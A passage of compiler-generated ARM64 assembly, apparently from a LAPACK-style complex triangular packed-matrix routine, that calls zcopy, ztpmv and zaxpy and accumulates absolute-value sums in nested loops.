subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_322
b LBB0_44
LBB0_44: ; in Loop: Header=BB0_43 Depth=1
ldur x0, [x29, #-72]
ldur x8, [x29, #-112]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
mov w10, #1
str w10, [sp, #648] ; 4-byte Folded Spill
add w9, w9, #1
add x1, x8, w9, sxtw #4
ldur x8, [x29, #-144]
add x3, x8, #16
adrp x4, _c__1@PAGE
add x4, x4, _c__1@PAGEOFF
str x4, [sp, #640] ; 8-byte Folded Spill
mov x2, x4
bl _zcopy_
ldr x6, [sp, #640] ; 8-byte Folded Reload
ldur x0, [x29, #-48]
ldur x1, [x29, #-56]
ldur x2, [x29, #-64]
ldur x3, [x29, #-72]
ldur x8, [x29, #-88]
add x4, x8, #16
ldur x8, [x29, #-144]
add x5, x8, #16
bl _ztpmv_
ldr x5, [sp, #640] ; 8-byte Folded Reload
sub x1, x29, #248
fmov d0, #-1.00000000
stur d0, [x29, #-248]
movi d0, #0000000000000000
stur d0, [x29, #-240]
ldur x0, [x29, #-72]
ldur x8, [x29, #-96]
ldr w9, [sp, #760]
ldur w10, [x29, #-164]
mul w9, w9, w10
add w9, w9, #1
add x2, x8, w9, sxtw #4
ldur x8, [x29, #-144]
add x4, x8, #16
mov x3, x5
bl _zaxpy_
ldr w8, [sp, #648] ; 4-byte Folded Reload
ldur x9, [x29, #-72]
ldr w9, [x9]
stur w9, [x29, #-184]
str w8, [sp, #764]
b LBB0_45
LBB0_45: ; Parent Loop BB0_43 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #764]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_54
b LBB0_46
LBB0_46: ; in Loop: Header=BB0_45 Depth=2
ldr w8, [sp, #764]
ldr w9, [sp, #760]
ldur w10, [x29, #-164]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-188]
ldur x8, [x29, #-96]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_48
b LBB0_47
LBB0_47: ; in Loop: Header=BB0_45 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #632] ; 8-byte Folded Spill
b LBB0_49
LBB0_48: ; in Loop: Header=BB0_45 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #632] ; 8-byte Folded Spill
b LBB0_49
LBB0_49: ; in Loop: Header=BB0_45 Depth=2
ldr d0, [sp, #632] ; 8-byte Folded Reload
str d0, [sp, #624] ; 8-byte Folded Spill
ldur x8, [x29, #-96]
ldr w9, [sp, #764]
ldr w10, [sp, #760]
ldur w11, [x29, #-164]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_51
b LBB0_50
LBB0_50: ; in Loop: Header=BB0_45 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #616] ; 8-byte Folded Spill
b LBB0_52
LBB0_51: ; in Loop: Header=BB0_45 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #616] ; 8-byte Folded Spill
b LBB0_52
LBB0_52: ; in Loop: Header=BB0_45 Depth=2
ldr d0, [sp, #624] ; 8-byte Folded Reload
ldr d1, [sp, #616] ; 8-byte Folded Reload
fadd d0, d0, d1
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
str d0, [x8, x9, lsl #3]
b LBB0_53
LBB0_53: ; in Loop: Header=BB0_45 Depth=2
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_45
LBB0_54: ; in Loop: Header=BB0_43 Depth=1
ldr w8, [sp, #708]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_145
b LBB0_55
LBB0_55: ; in Loop: Header=BB0_43 Depth=1
ldr w8, [sp, #740]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_100
b LBB0_56
LBB0_56: ; in Loop: Header=BB0_43 Depth=1
mov w8, #1
str w8, [sp, #736]
ldr w8, [sp, #700]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_78
b LBB0_57
LBB0_57: ; in Loop: Header=BB0_43 Depth=1
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #756]
b LBB0_58
LBB0_58: ; Parent Loop BB0_43 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_66 Depth 3
ldr w8, [sp, #756]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_77
b LBB0_59
LBB0_59: ; in Loop: Header=BB0_58 Depth=2
ldr w8, [sp, #756]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-188]
ldur x8, [x29, #-112]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_61
b LBB0_60
LBB0_60: ; in Loop: Header=BB0_58 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #608] ; 8-byte Folded Spill
b LBB0_62
LBB0_61: ; in Loop: Header=BB0_58 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #608] ; 8-byte Folded Spill
b LBB0_62
LBB0_62: ; in Loop: Header=BB0_58 Depth=2
ldr d0, [sp, #608] ; 8-byte Folded Reload
str d0, [sp, #600] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldr w9, [sp, #756]
ldr w10, [sp, #760]
ldur w11, [x29, #-172]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_64
b LBB0_63
LBB0_63: ; in Loop: Header=BB0_58 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #592] ; 8-byte Folded Spill
b LBB0_65
LBB0_64: ; in Loop: Header=BB0_58 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #592] ; 8-byte Folded Spill
b LBB0_65
LBB0_65: ; in Loop: Header=BB0_58 Depth=2
ldr d0, [sp, #600] ; 8-byte Folded Reload
ldr d1, [sp, #592] ; 8-byte Folded Reload
fadd d0, d0, d1
str d0, [sp, #728]
ldr w8, [sp, #756]
stur w8, [x29, #-188]
mov w8, #1
str w8, [sp, #764]
b LBB0_66
LBB0_66: ; Parent Loop BB0_43 Depth=1
; Parent Loop BB0_58 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #764]
ldur w9, [x29, #-188]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_75
b LBB0_67
LBB0_67: ; in Loop: Header=BB0_66 Depth=3
ldr w8, [sp, #736]
ldr w9, [sp, #764]
add w8, w8, w9
subs w8, w8, #1
stur w8, [x29, #-192]
ldur x8, [x29, #-88]
ldursw x9, [x29, #-192]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_69
b LBB0_68
LBB0_68: ; in Loop: Header=BB0_66 Depth=3
ldur d0, [x29, #-208]
str d0, [sp, #584] ; 8-byte Folded Spill
b LBB0_70
LBB0_69: ; in Loop: Header=BB0_66 Depth=3
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #584] ; 8-byte Folded Spill
b LBB0_70
LBB0_70: ; in Loop: Header=BB0_66 Depth=3
ldr d0, [sp, #584] ; 8-byte Folded Reload
str d0, [sp, #576] ; 8-byte Folded Spill
ldur x8, [x29, #-88]
ldr w9, [sp, #736]
ldr w10, [sp, #764]
add w9, w9, w10
subs w9, w9, #1
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_72
b LBB0_71
LBB0_71: ; in Loop: Header=BB0_66 Depth=3
ldur d0, [x29, #-216]
str d0, [sp, #568] ; 8-byte Folded Spill
b LBB0_73
LBB0_72: ; in Loop: Header=BB0_66 Depth=3
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #568] ; 8-byte Folded Spill
b LBB0_73
LBB0_73: ; in Loop: Header=BB0_66 Depth=3
ldr d0, [sp, #576] ; 8-byte Folded Reload
ldr d1, [sp, #568] ; 8-byte Folded Reload
fadd d0, d0, d1
ldr d1, [sp, #728]
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
add x8, x8, x9, lsl #3
ldr d2, [x8]
fmadd d0, d0, d1, d2
str d0, [x8]
b LBB0_74
LBB0_74: ; in Loop: Header=BB0_66 Depth=3
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_66
LBB0_75: ; in Loop: Header=BB0_58 Depth=2
ldr w9, [sp, #756]
ldr w8, [sp, #736]
add w8, w8, w9
str w8, [sp, #736]
b LBB0_76
LBB0_76: ; in Loop: Header=BB0_58 Depth=2
ldr w8, [sp, #756]
add w8, w8, #1
str w8, [sp, #756]
b LBB0_58
LBB0_77: ; in Loop: Header=BB0_43 Depth=1
b LBB0_99
LBB0_78: ; in Loop: Header=BB0_43 Depth=1
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #756]
b LBB0_79
LBB0_79: ; Parent Loop BB0_43 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_87 Depth 3
ldr w8, [sp, #756]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_98
b LBB0_80
LBB0_80: ; in Loop: Header=BB0_79 Depth=2
ldr w8, [sp, #756]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-188]
ldur x8, [x29, #-112]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_82
b LBB0_81
LBB0_81: ; in Loop: Header=BB0_79 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #560] ; 8-byte Folded Spill
b LBB0_83
LBB0_82: ; in Loop: Header=BB0_79 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #560] ; 8-byte Folded Spill
b LBB0_83
LBB0_83: ; in Loop: Header=BB0_79 Depth=2
ldr d0, [sp, #560] ; 8-byte Folded Reload
str d0, [sp, #552] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldr w9, [sp, #756]
ldr w10, [sp, #760]
ldur w11, [x29, #-172]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_85
b LBB0_84
LBB0_84: ; in Loop: Header=BB0_79 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #544] ; 8-byte Folded Spill
b LBB0_86
LBB0_85: ; in Loop: Header=BB0_79 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #544] ; 8-byte Folded Spill
b LBB0_86
LBB0_86: ; in Loop: Header=BB0_79 Depth=2
ldr d0, [sp, #552] ; 8-byte Folded Reload
ldr d1, [sp, #544] ; 8-byte Folded Reload
fadd d0, d0, d1
str d0, [sp, #728]
ldr w9, [sp, #756]
mov w8, #1
subs w9, w9, #1
stur w9, [x29, #-188]
str w8, [sp, #764]
b LBB0_87
LBB0_87: ; Parent Loop BB0_43 Depth=1
; Parent Loop BB0_79 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #764]
ldur w9, [x29, #-188]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_96
b LBB0_88
LBB0_88: ; in Loop: Header=BB0_87 Depth=3
ldr w8, [sp, #736]
ldr w9, [sp, #764]
add w8, w8, w9
subs w8, w8, #1
stur w8, [x29, #-192]
ldur x8, [x29, #-88]
ldursw x9, [x29, #-192]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_90
b LBB0_89
LBB0_89: ; in Loop: Header=BB0_87 Depth=3
ldur d0, [x29, #-208]
str d0, [sp, #536] ; 8-byte Folded Spill
b LBB0_91
LBB0_90: ; in Loop: Header=BB0_87 Depth=3
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #536] ; 8-byte Folded Spill
b LBB0_91
LBB0_91: ; in Loop: Header=BB0_87 Depth=3
ldr d0, [sp, #536] ; 8-byte Folded Reload
str d0, [sp, #528] ; 8-byte Folded Spill
ldur x8, [x29, #-88]
ldr w9, [sp, #736]
ldr w10, [sp, #764]
add w9, w9, w10
subs w9, w9, #1
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_93
b LBB0_92
LBB0_92: ; in Loop: Header=BB0_87 Depth=3
ldur d0, [x29, #-216]
str d0, [sp, #520] ; 8-byte Folded Spill
b LBB0_94
LBB0_93: ; in Loop: Header=BB0_87 Depth=3
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #520] ; 8-byte Folded Spill
b LBB0_94
LBB0_94: ; in Loop: Header=BB0_87 Depth=3
ldr d0, [sp, #528] ; 8-byte Folded Reload
ldr d1, [sp, #520] ; 8-byte Folded Reload
fadd d0, d0, d1
ldr d1, [sp, #728]
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
add x8, x8, x9, lsl #3
ldr d2, [x8]
fmadd d0, d0, d1, d2
str d0, [x8]
b LBB0_95
LBB0_95: ; in Loop: Header=BB0_87 Depth=3
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_87
LBB0_96: ; in Loop: Header=BB0_79 Depth=2
ldr d1, [sp, #728]
ldur x8, [x29, #-152]
ldrsw x9, [sp, #756]
add x8, x8, x9, lsl #3
ldr d0, [x8]
fadd d0, d0, d1
str d0, [x8]
ldr w9, [sp, #756]
ldr w8, [sp, #736]
add w8, w8, w9
str w8, [sp, #736]
b LBB0_97
LBB0_97: ; in Loop: Header=BB0_79 Depth=2
ldr w8, [sp, #756]
add w8, w8, #1
str w8, [sp, #756]
b LBB0_79
LBB0_98: ; in Loop: Header=BB0_43 Depth=1
b LBB0_99
LBB0_99: ; in Loop: Header=BB0_43 Depth=1
b LBB0_144
LBB0_100: ; in Loop: Header=BB0_43 Depth=1
mov w8, #1
str w8, [sp, #736]
ldr w8, [sp, #700]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_122
b LBB0_101
LBB0_101: ; in Loop: Header=BB0_43 Depth=1
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #756]
b LBB0_102
LBB0_102: ; Parent Loop BB0_43 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_110 Depth 3
ldr w8, [sp, #756]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_121
b LBB0_103
LBB0_103: ; in Loop: Header=BB0_102 Depth=2
ldr w8, [sp, #756]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-188]
ldur x8, [x29, #-112]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_105
b LBB0_104
LBB0_104: ; in Loop: Header=BB0_102 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #512] ; 8-byte Folded Spill
b LBB0_106
LBB0_105: ; in Loop: Header=BB0_102 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #512] ; 8-byte Folded Spill
b LBB0_106
LBB0_106: ; in Loop: Header=BB0_102 Depth=2
ldr d0, [sp, #512] ; 8-byte Folded Reload
str d0, [sp, #504] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldr w9, [sp, #756]
ldr w10, [sp, #760]
ldur w11, [x29, #-172]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_108
b LBB0_107
LBB0_107: ; in Loop: Header=BB0_102 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #496] ; 8-byte Folded Spill
b LBB0_109
LBB0_108: ; in Loop: Header=BB0_102 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #496] ; 8-byte Folded Spill
b LBB0_109
LBB0_109: ; in Loop: Header=BB0_102 Depth=2
ldr d0, [sp, #504] ; 8-byte Folded Reload
ldr d1, [sp, #496] ; 8-byte Folded Reload
fadd d0, d0, d1
str d0, [sp, #728]
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-188]
ldr w8, [sp, #756]
str w8, [sp, #764]
b LBB0_110
LBB0_110: ; Parent Loop BB0_43 Depth=1
; Parent Loop BB0_102 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #764]
ldur w9, [x29, #-188]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_119
b LBB0_111
LBB0_111: ; in Loop: Header=BB0_110 Depth=3
ldr w8, [sp, #736]
ldr w9, [sp, #764]
add w8, w8, w9
ldr w9, [sp, #756]
subs w8, w8, w9
stur w8, [x29, #-192]
ldur x8, [x29, #-88]
ldursw x9, [x29, #-192]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_113
b LBB0_112
LBB0_112: ; in Loop: Header=BB0_110 Depth=3
ldur d0, [x29, #-208]
str d0, [sp, #488] ; 8-byte Folded Spill
b LBB0_114
LBB0_113: ; in Loop: Header=BB0_110 Depth=3
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #488] ; 8-byte Folded Spill
b LBB0_114
LBB0_114: ; in Loop: Header=BB0_110 Depth=3
ldr d0, [sp, #488] ; 8-byte Folded Reload
str d0, [sp, #480] ; 8-byte Folded Spill
ldur x8, [x29, #-88]
ldr w9, [sp, #736]
ldr w10, [sp, #764]
add w9, w9, w10
ldr w10, [sp, #756]
subs w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_116
b LBB0_115
LBB0_115: ; in Loop: Header=BB0_110 Depth=3
ldur d0, [x29, #-216]
str d0, [sp, #472] ; 8-byte Folded Spill
b LBB0_117
LBB0_116: ; in Loop: Header=BB0_110 Depth=3
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #472] ; 8-byte Folded Spill
b LBB0_117
LBB0_117: ; in Loop: Header=BB0_110 Depth=3
ldr d0, [sp, #480] ; 8-byte Folded Reload
ldr d1, [sp, #472] ; 8-byte Folded Reload
fadd d0, d0, d1
ldr d1, [sp, #728]
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
add x8, x8, x9, lsl #3
ldr d2, [x8]
fmadd d0, d0, d1, d2
str d0, [x8]
b LBB0_118
LBB0_118: ; in Loop: Header=BB0_110 Depth=3
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_110
LBB0_119: ; in Loop: Header=BB0_102 Depth=2
ldr w8, [sp, #736]
ldur x9, [x29, #-72]
ldr w9, [x9]
add w8, w8, w9
ldr w9, [sp, #756]
subs w8, w8, w9
add w8, w8, #1
str w8, [sp, #736]
b LBB0_120
LBB0_120: ; in Loop: Header=BB0_102 Depth=2
ldr w8, [sp, #756]
add w8, w8, #1
str w8, [sp, #756]
b LBB0_102
LBB0_121: ; in Loop: Header=BB0_43 Depth=1
b LBB0_143
LBB0_122: ; in Loop: Header=BB0_43 Depth=1
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #756]
b LBB0_123
LBB0_123: ; Parent Loop BB0_43 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_131 Depth 3
ldr w8, [sp, #756]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_142
b LBB0_124
LBB0_124: ; in Loop: Header=BB0_123 Depth=2
ldr w8, [sp, #756]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-188]
ldur x8, [x29, #-112]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_126
b LBB0_125
LBB0_125: ; in Loop: Header=BB0_123 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #464] ; 8-byte Folded Spill
b LBB0_127
LBB0_126: ; in Loop: Header=BB0_123 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #464] ; 8-byte Folded Spill
b LBB0_127
LBB0_127: ; in Loop: Header=BB0_123 Depth=2
ldr d0, [sp, #464] ; 8-byte Folded Reload
str d0, [sp, #456] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldr w9, [sp, #756]
ldr w10, [sp, #760]
ldur w11, [x29, #-172]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_129
b LBB0_128
LBB0_128: ; in Loop: Header=BB0_123 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #448] ; 8-byte Folded Spill
b LBB0_130
LBB0_129: ; in Loop: Header=BB0_123 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #448] ; 8-byte Folded Spill
b LBB0_130
LBB0_130: ; in Loop: Header=BB0_123 Depth=2
ldr d0, [sp, #456] ; 8-byte Folded Reload
ldr d1, [sp, #448] ; 8-byte Folded Reload
fadd d0, d0, d1
str d0, [sp, #728]
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-188]
ldr w8, [sp, #756]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_131
LBB0_131: ; Parent Loop BB0_43 Depth=1
; Parent Loop BB0_123 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #764]
ldur w9, [x29, #-188]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_140
b LBB0_132
LBB0_132: ; in Loop: Header=BB0_131 Depth=3
ldr w8, [sp, #736]
ldr w9, [sp, #764]
add w8, w8, w9
ldr w9, [sp, #756]
subs w8, w8, w9
stur w8, [x29, #-192]
ldur x8, [x29, #-88]
ldursw x9, [x29, #-192]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_134
b LBB0_133
LBB0_133: ; in Loop: Header=BB0_131 Depth=3
ldur d0, [x29, #-208]
str d0, [sp, #440] ; 8-byte Folded Spill
b LBB0_135
LBB0_134: ; in Loop: Header=BB0_131 Depth=3
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #440] ; 8-byte Folded Spill
b LBB0_135
LBB0_135: ; in Loop: Header=BB0_131 Depth=3
ldr d0, [sp, #440] ; 8-byte Folded Reload
str d0, [sp, #432] ; 8-byte Folded Spill
ldur x8, [x29, #-88]
ldr w9, [sp, #736]
ldr w10, [sp, #764]
add w9, w9, w10
ldr w10, [sp, #756]
subs w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_137
b LBB0_136
LBB0_136: ; in Loop: Header=BB0_131 Depth=3
ldur d0, [x29, #-216]
str d0, [sp, #424] ; 8-byte Folded Spill
b LBB0_138
LBB0_137: ; in Loop: Header=BB0_131 Depth=3
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #424] ; 8-byte Folded Spill
b LBB0_138
LBB0_138: ; in Loop: Header=BB0_131 Depth=3
ldr d0, [sp, #432] ; 8-byte Folded Reload
ldr d1, [sp, #424] ; 8-byte Folded Reload
fadd d0, d0, d1
ldr d1, [sp, #728]
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
add x8, x8, x9, lsl #3
ldr d2, [x8]
fmadd d0, d0, d1, d2
str d0, [x8]
b LBB0_139
LBB0_139: ; in Loop: Header=BB0_131 Depth=3
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_131
LBB0_140: ; in Loop: Header=BB0_123 Depth=2
ldr d1, [sp, #728]
ldur x8, [x29, #-152]
ldrsw x9, [sp, #756]
add x8, x8, x9, lsl #3
ldr d0, [x8]
fadd d0, d0, d1
str d0, [x8]
ldr w8, [sp, #736]
ldur x9, [x29, #-72]
ldr w9, [x9]
add w8, w8, w9
ldr w9, [sp, #756]
subs w8, w8, w9
add w8, w8, #1
str w8, [sp, #736]
b LBB0_141
LBB0_141: ; in Loop: Header=BB0_123 Depth=2
ldr w8, [sp, #756]
add w8, w8, #1
str w8, [sp, #756]
b LBB0_123
LBB0_142: ; in Loop: Header=BB0_43 Depth=1
b LBB0_143
LBB0_143: ; in Loop: Header=BB0_43 Depth=1
b LBB0_144
LBB0_144: ; in Loop: Header=BB0_43 Depth=1
b LBB0_247
LBB0_145: ; in Loop: Header=BB0_43 Depth=1
ldr w8, [sp, #740]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_196
b LBB0_146
LBB0_146: ; in Loop: Header=BB0_43 Depth=1
mov w8, #1
str w8, [sp, #736]
ldr w8, [sp, #700]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_168
b LBB0_147
LBB0_147: ; in Loop: Header=BB0_43 Depth=1
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #756]
b LBB0_148
LBB0_148: ; Parent Loop BB0_43 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_150 Depth 3
ldr w8, [sp, #756]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_167
b LBB0_149
LBB0_149: ; in Loop: Header=BB0_148 Depth=2
movi d0, #0000000000000000
str d0, [sp, #744]
ldr w8, [sp, #756]
stur w8, [x29, #-188]
mov w8, #1
str w8, [sp, #764]
b LBB0_150
LBB0_150: ; Parent Loop BB0_43 Depth=1
; Parent Loop BB0_148 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #764]
ldur w9, [x29, #-188]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_165
b LBB0_151
LBB0_151: ; in Loop: Header=BB0_150 Depth=3
ldr w8, [sp, #736]
ldr w9, [sp, #764]
add w8, w8, w9
subs w8, w8, #1
stur w8, [x29, #-192]
ldr w8, [sp, #764]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-196]
ldur x8, [x29, #-88]
ldursw x9, [x29, #-192]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_153
b LBB0_152
LBB0_152: ; in Loop: Header=BB0_150 Depth=3
ldur d0, [x29, #-208]
str d0, [sp, #416] ; 8-byte Folded Spill
b LBB0_154
LBB0_153: ; in Loop: Header=BB0_150 Depth=3
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #416] ; 8-byte Folded Spill
b LBB0_154
LBB0_154: ; in Loop: Header=BB0_150 Depth=3
ldr d0, [sp, #416] ; 8-byte Folded Reload
str d0, [sp, #408] ; 8-byte Folded Spill
ldur x8, [x29, #-88]
ldr w9, [sp, #736]
ldr w10, [sp, #764]
add w9, w9, w10
subs w9, w9, #1
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_156
b LBB0_155
LBB0_155: ; in Loop: Header=BB0_150 Depth=3
ldur d0, [x29, #-216]
str d0, [sp, #400] ; 8-byte Folded Spill
b LBB0_157
LBB0_156: ; in Loop: Header=BB0_150 Depth=3
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #400] ; 8-byte Folded Spill
b LBB0_157
LBB0_157: ; in Loop: Header=BB0_150 Depth=3
ldr d0, [sp, #408] ; 8-byte Folded Reload
ldr d1, [sp, #400] ; 8-byte Folded Reload
fadd d0, d0, d1
str d0, [sp, #392] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldursw x9, [x29, #-196]
lsl x9, x9, #4
